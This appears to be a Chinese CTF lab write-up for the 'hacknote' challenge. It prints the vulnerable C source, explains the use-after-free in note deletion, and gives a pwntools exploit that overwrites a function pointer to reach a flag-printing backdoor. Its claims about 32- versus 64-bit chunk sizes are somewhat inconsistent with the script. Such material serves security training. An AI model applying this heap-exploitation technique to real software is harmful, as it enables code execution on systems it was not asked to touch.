前言
lab10 堆利用例题 hacknote
过程
直接看源码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
struct note {
void (*printnote)();
char *content ;
};
struct note *notelist[5];
int count = 0;
void print_note_content(struct note *this){
puts(this->content);
}
void add_note(){
int i ;
char buf[8];
int size ;
if(count > 5){
puts("Full");
return ;
}
for(i = 0 ; i < 5 ; i ++){
if(!notelist[i]){
notelist[i] = (struct note*)malloc(sizeof(struct note));
if(!notelist[i]){
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0,buf,8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if(!notelist[i]->content){
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0,notelist[i]->content,size);
puts("Success !");
count++;
break;
}
}
}
void del_note(){
char buf[4];
int idx ;
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= count){
puts("Out of bound!");
_exit(0);
}
if(notelist[idx]){
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
void print_note(){
char buf[4];
int idx ;
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= count){
puts("Out of bound!");
_exit(0);
}
if(notelist[idx]){
notelist[idx]->printnote(notelist[idx]);
}
}
void magic(){
system("cat /home/hacknote/flag");
}
void menu(){
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
char buf[4];
while(1){
menu();
read(0,buf,4);
switch(atoi(buf)){
case 1 :
add_note();
break ;
case 2 :
del_note();
break ;
case 3 :
print_note();
break ;
case 4 :
exit(0);
break ;
default :
puts("Invalid choice");
break ;
}
}
return 0;
}
在del_note
中释放chunk后没有将指针置零, 存在UAF
漏洞
if(notelist[idx]){
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
gdb调试, 需要用到pwndbg
和pwngdb
(对, 这是两个不同的玩意儿)
环境安装参考https://blog.csdn.net/weixin_43092232/article/details/105648769
add一个note
addnote之后堆块被全局变量notelist
的元素引用, 可以看到notelist[0] == 0x804b1a0
即指向chunk0的data部分的起始地址处
然后释放chunk0, 发现指针notelist[0]
依然存在, 验证存在UAF漏洞
然后看到源码中有个后门函数
利用思路就是通过UAF将note的打印函数改成后门函数, 然后打印就能得到flag
申请3个16字节的note, 会生成6个chunk, 因为是64位系统, 所以分别为0x10和0x20大小, 如果是32位系统则是0x10和0x18, 按字长两倍对齐, 0x10是note的chunk, 0x20是content的chunk
然后释放前两个note
然后申请一个8字节的堆块, 放入catflag
, 即可覆写print_note
成catflag
地址
exp脚本
# -*- coding: utf-8 -*-
from pwn import *
# host = "training.pwnable.tw"
# port = 11010
# r = remote(host,port)
r = process('./hacknote')
def addnote(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
magic = 0x08048986
# system = 0x8048506
addnote(16,"ddaa")
addnote(16,"ddaa")
addnote(16,"ddaa")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
r.interactive()
总结
之所以存在UAF, 是因为free chunk之后没有将ptr = null
这题中是利用bins(tcache)先进后出的性质, 释放两个chunk后, tcache中会有两个0x10大小的chunk, 再申请8字节的chunk, 会返回两个chunk, 后一个chunk就是之前的chunk0, 写入catflag_addr就会覆盖原chunk0的函数地址print_note_content
, 新生成的note不是chunk0, 而是chunk3, 本题的UAF是指释放chunk0后, 又使用了chunk0
新申请的8字节chunk是新的chunk3